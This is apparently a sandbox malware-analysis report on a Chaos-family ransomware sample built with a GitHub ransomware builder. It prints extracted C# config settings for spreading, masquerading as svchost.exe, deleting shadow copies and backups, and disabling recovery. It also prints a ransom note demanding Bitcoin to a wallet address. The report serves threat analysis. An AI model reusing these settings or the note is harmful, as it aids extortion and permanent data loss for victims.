General

  • Target

    https://github.com/Hacker2425/Ransomware-Builder

  • Sample

    240905-s34zgatejn

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\pe0xrgto\pe0xrgto.0.cs

Ransom Note
using System; using System.Linq; using System.Windows.Forms; using System.Runtime.InteropServices; using System.Text.RegularExpressions; namespace ConsoleApplication7 { class Program { private static string userName = Environment.UserName; private static string userDir = "C:\\Users\\"; public static string appMutexRun = "7z459ajrk722yn8c5j4fg"; public static bool encryptionAesRsa = true; public static string encryptedFileExtension = ""; private static bool checkSpread = true; private static string spreadName = "surprise.exe"; private static bool checkCopyRoaming = true; private static string processName = "svchost.exe"; public static string appMutexRun2 = "2X28tfRmWaPyPQgvoHV"; private static bool checkStartupFolder = true; private static bool checkSleep = false; private static int sleepTextbox = 10; private static string base64Image = @"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"; public static string appMutexStartup = "1qw0ll8p9m8uezhqhyd"; private static string droppedMessageTextbox = "Cracking and piracy is bad.txt"; //************ Admin field ********** private static bool checkAdminPrivilage = true; private static bool checkdeleteShadowCopies = true; private static bool checkdisableRecoveryMode = true; private static bool checkdeleteBackupCatalog = true; //***************** public static string appMutexStartup2 = "17CqMQFeuB3NTzJ"; public static string appMutex2 = appMutexStartup2 + appMutexRun2;

Extracted

Path

C:\Users\Admin\Documents\read_it.txt

Ransom Note
YOU DESERVE THIS !!!! All of your files have been encrypted Your computer was infected with a ransomware virus. Your files have been encrypted and you won't be able to decrypt them without our help.What can I do to get my files back?You can buy our special decryption software, this software will allow you to recover all of your data and remove the ransomware from your computer.The price for the software is $1,500. Payment can be made in Bitcoin only. How do I pay, where do I get Bitcoin? Purchasing Bitcoin varies from country to country, you are best advised to do a quick google search yourself to find out how to buy Bitcoin. Many of our customers have reported these sites to be fast and reliable: Coinmama - hxxps://www.coinmama.com Bitpanda - hxxps://www.bitpanda.com Payment informationAmount: 0.0090 BTC (BITCOIN) Bitcoin Address: bc1qfe9sf3fs2234r0hfk64zmeu5tvvkw9lwcmc5sl

Targets

    • Chaos

